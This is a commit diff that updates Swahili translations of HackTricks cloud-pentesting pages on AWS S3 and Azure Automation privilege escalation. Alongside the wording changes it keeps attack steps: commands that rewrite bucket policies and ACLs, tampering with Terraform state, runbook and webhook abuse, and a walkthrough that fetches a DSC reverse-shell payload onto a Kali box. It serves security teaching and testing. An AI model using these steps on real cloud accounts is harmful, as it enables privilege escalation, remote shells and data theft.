mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -34,7 +34,7 @@ Kwa mfano, mshambuliaji mwenye **ruhusa hizo juu ya ndoo ya cloudformation** ina
|
||||
]
|
||||
}
|
||||
```
|
||||
Na utekaji ni wawezekana kwa sababu kuna **dirisha dogo la muda kuanzia wakati template inapoupoaded** kwenye bucket hadi wakati **template inatekelezwa**. Mshambuliaji anaweza tu kuunda **lambda function** katika akaunti yake ambayo it **itachochewa wakati arifa ya bucket itatumwa**, na **kuhujumu** **maudhui** ya **bucket** hiyo.
|
||||
Na utekaji ni wawezekana kwa sababu kuna **dirisha dogo la muda kutoka wakati template inapoupoload** hadi kwenye bucket hadi wakati **template inatekelezwa**. Mshambuliaji anaweza tu kuunda **lambda function** katika akaunti yake ambayo itakuwa **inachochewa wakati arifa ya bucket inatumwa**, na **kuhujumu** **maudhui** ya **bucket** hiyo.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -43,16 +43,16 @@ Kwa maelezo zaidi angalia utafiti wa asili: [https://rhinosecuritylabs.com/aws/c
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
Hizi ni ruhusa za **kupata na kupakia vitu kwenye S3**. Huduma kadhaa ndani ya AWS (na nje yake) hutumia hifadhi ya S3 kuhifadhi **faili za usanidi**.\
|
||||
Hizi ni ruhusa za **kupata na kupakia vitu kwenye S3**. Huduma kadhaa ndani ya AWS (na nje yake) hutumia uhifadhi wa S3 kuhifadhi **faili za usanidi**.\
|
||||
Mshambuliaji mwenye **ufikiaji wa kusoma** anaweza kupata **taarifa nyeti** kwenye hizo.\
|
||||
Mshambuliaji mwenye **ufikiaji wa kuandika** anaweza **kubadilisha data ili kutumia huduma fulani na kujaribu kupandisha mamlaka**.\
|
||||
Hizi ni baadhi ya mifano:
|
||||
|
||||
- Ikiwa mfano wa EC2 unahifadhi **data za mtumiaji kwenye bucket ya S3**, mshambuliaji anaweza kuibadilisha ili **kutekeleza msimbo wa kiholela ndani ya mfano wa EC2**.
|
||||
- Ikiwa mfano wa EC2 unahifadhi **data ya mtumiaji kwenye bucket ya S3**, mshambuliaji anaweza kuibadilisha ili **kutekeleza msimbo wowote ndani ya mfano wa EC2**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (hiari) juu ya faili ya hali ya terraform
|
||||
|
||||
Ni kawaida sana kwamba faili za hali za [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) zinahifadhiwa kwenye hifadhi ya blob ya watoa huduma wa wingu, mfano AWS S3. Kiambishi cha faili kwa faili ya hali ni `.tfstate`, na majina ya bucket mara nyingi pia yanaonyesha kuwa yana faili za hali za terraform. Kawaida, kila akaunti ya AWS ina bucket moja kama hiyo kuhifadhi faili za hali zinazoonyesha hali ya akaunti.\
|
||||
Ni kawaida sana kwamba faili za [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) za hali zinahifadhiwa kwenye uhifadhi wa blob wa watoa huduma wa wingu, mfano AWS S3. Kiambishi cha faili kwa faili ya hali ni `.tfstate`, na majina ya bucket mara nyingi pia yanaonyesha kuwa yana faili za hali za terraform. Kawaida, kila akaunti ya AWS ina bucket moja kama hiyo kuhifadhi faili za hali zinazoonyesha hali ya akaunti.\
|
||||
Pia kawaida, katika akaunti za ulimwengu halisi karibu kila wakati waendelezaji wote wana `s3:*` na wakati mwingine hata watumiaji wa biashara wana `s3:Put*`.
|
||||
|
||||
Hivyo, ikiwa una ruhusa zilizoorodheshwa juu ya faili hizi, kuna njia ya shambulio inayokuruhusu kupata RCE katika pipeline kwa mamlaka ya `terraform` - mara nyingi `AdministratorAccess`, ikifanya wewe kuwa admin wa akaunti ya wingu. Pia, unaweza kutumia njia hiyo kufanya shambulio la kukataa huduma kwa kufanya `terraform` ifute rasilimali halali.
|
||||
@@ -65,7 +65,7 @@ Fuata maelezo katika sehemu ya *Kuhujumu Faili za Hali za Terraform* ya ukurasa
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
Mshambuliaji, ambaye anahitaji kuwa **kutoka kwenye akaunti hiyo hiyo**, ikiwa sivyo kosa `Njia iliyoainishwa hairuhusiwi itachochewa`, kwa ruhusa hii atakuwa na uwezo wa kujipa ruhusa zaidi juu ya bucket(s) akimruhusu kusoma, kuandika, kubadilisha, kufuta na kufichua buckets.
|
||||
Mshambuliaji, ambaye anahitaji kuwa **kutoka akaunti hiyo hiyo**, ikiwa sivyo kosa `Njia iliyoainishwa hairuhusiwi itachochewa`, kwa ruhusa hii atakuwa na uwezo wa kujipa ruhusa zaidi juu ya bucket(s) akimruhusu kusoma, kuandika, kubadilisha, kufuta na kufichua buckets.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
Mshambuliaji anaweza kutumia ruhusa hizi kuongeza ufikiaji wake juu ya vitu maalum ndani ya mifuko.
|
||||
Mshambuliaji anaweza kutumia ruhusa hizi kuongeza ufikiaji wake juu ya vitu maalum ndani ya ndoo.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
|
||||
+9
-9
@@ -47,7 +47,7 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Kumbuka jinsi script ya awali inaweza kutumika ku **vuja jina la mtumiaji na nenosiri** la akidi na thamani ya **kigeuzi kilichosimbwa** kilichohifadhiwa katika Akaunti ya Automation.
|
||||
Kumbuka jinsi skripti ya awali inaweza kutumika ku **vuja jina la mtumiaji na nenosiri** la akidi na thamani ya **kigeuzi kilichosimbwa** kilichohifadhiwa katika Akaunti ya Automation.
|
||||
|
||||
Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inaruhusu mtumiaji kuchapisha Runbook katika Akaunti ya Automation ili mabadiliko yafanyike:
|
||||
```bash
|
||||
@@ -142,14 +142,14 @@ Kwa ruhusa **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezek
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
Amri hii inapaswa kurudisha URI ya webhook ambayo inaonyeshwa tu wakati wa uumbaji. Kisha, ili kuita runbook kwa kutumia URI ya webhook
|
||||
Amri hii inapaswa kurudisha URI ya webhook ambayo inaonyeshwa tu wakati wa kuunda. Kisha, ili kuita runbook kwa kutumia URI ya webhook
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Kwa ruhusa tu `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusaidia kuboresha msimbo wa Runbook** bila kuuchapisha na kuufanya kazi kwa kutumia amri zifuatazo.
|
||||
Kwa ruhusa tu ya `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusaidia kuboresha msimbo wa Runbook** bila kuuchapisha na kuufanya kazi kwa kutumia amri zifuatazo.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -190,12 +190,12 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Hii itafanya kuagiza kiotomatiki runbooks kutoka kwa hazina ya Github hadi Akaunti ya Automation na kwa ruhusa nyingine za kuanza kuzitekeleza itakuwa **na uwezo wa kupandisha mamlaka**.
|
||||
Hii itafanya kuagiza kiotomatiki runbooks kutoka kwa hazina ya Github hadi Akaunti ya Automation na kwa ruhusa nyingine za kuanza kuzitekeleza itakuwa **inawezekana kupandisha mamlaka**.
|
||||
|
||||
Zaidi ya hayo, kumbuka kwamba ili udhibiti wa chanzo ufanye kazi katika Akaunti za Automation lazima iwe na kitambulisho kinachosimamiwa chenye jukumu la **`Contributor`** na ikiwa ni kitambulisho kinachosimamiwa na mtumiaji, kitambulisho cha mteja wa MI lazima kielezwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Zaidi ya hayo, kumbuka kwamba ili udhibiti wa chanzo ufanye kazi katika Akaunti za Automation lazima iwe na utambulisho ulio na usimamizi wenye jukumu la **`Contributor`** na ikiwa ni utambulisho wa mtumiaji ulio na usimamizi, kitambulisho cha mteja wa MI lazima kielezwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba siwezi kubadilisha URL ya repo ya udhibiti wa chanzo mara tu inapotengenezwa.
|
||||
> Kumbuka kwamba siwezi kubadilisha URL ya repo ya udhibiti wa chanzo mara tu inapoanzishwa.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
@@ -215,7 +215,7 @@ az rest --method PUT \
|
||||
```
|
||||
### Mazingira ya Kazi ya Kijadi
|
||||
|
||||
Ikiwa akaunti ya automatisering inatumia mazingira ya kazi ya kijadi, inaweza kuwa inawezekana kubadilisha kifurushi cha kijadi cha mazingira na msimbo mbaya (kama **backdoor**). Kwa njia hii, kila wakati runbook inayotumia mazingira hayo ya kijadi inatekelezwa na kupakia kifurushi hicho cha kijadi, msimbo mbaya utaanzishwa.
|
||||
Ikiwa akaunti ya automatisering inatumia mazingira ya kazi ya kijadi, inaweza kuwa inawezekana kubadilisha kifurushi maalum cha mazingira hayo kwa msimbo mbaya (kama **backdoor**). Kwa njia hii, kila wakati runbook inayotumia mazingira hayo ya kijadi inatekelezwa na kupakia kifurushi maalum, msimbo mbaya utaanzishwa.
|
||||
|
||||
### Kuathiri Usanidi wa Jimbo
|
||||
|
||||
@@ -224,7 +224,7 @@ Ikiwa akaunti ya automatisering inatumia mazingira ya kazi ya kijadi, inaweza ku
|
||||
- Hatua ya 1 — Unda Faili
|
||||
|
||||
**Faili Zinazohitajika:** Skripti mbili za PowerShell zinahitajika:
|
||||
1. `reverse_shell_config.ps1`: Faili ya Usanidi wa Jimbo la Taka (DSC) inayopata na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
1. `reverse_shell_config.ps1`: Faili ya Usanidi wa Jimbo Linalotakiwa (DSC) inayopata na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Skripti ya kuchapisha usanidi kwa VM, inapatikana katika [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Ubadilishaji:** Vigezo na parameta katika faili hizi lazima zibadilishwe ili kufaa mazingira maalum ya mtumiaji, ikiwa ni pamoja na majina ya rasilimali, njia za faili, na vitambulisho vya seva/payload.
|
||||
@@ -243,7 +243,7 @@ Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-
|
||||
```
|
||||
- Step 4 — Prep Kali Box
|
||||
|
||||
Seva ya Kali inapakua mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub.
|
||||
Seva ya Kali inashusha mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user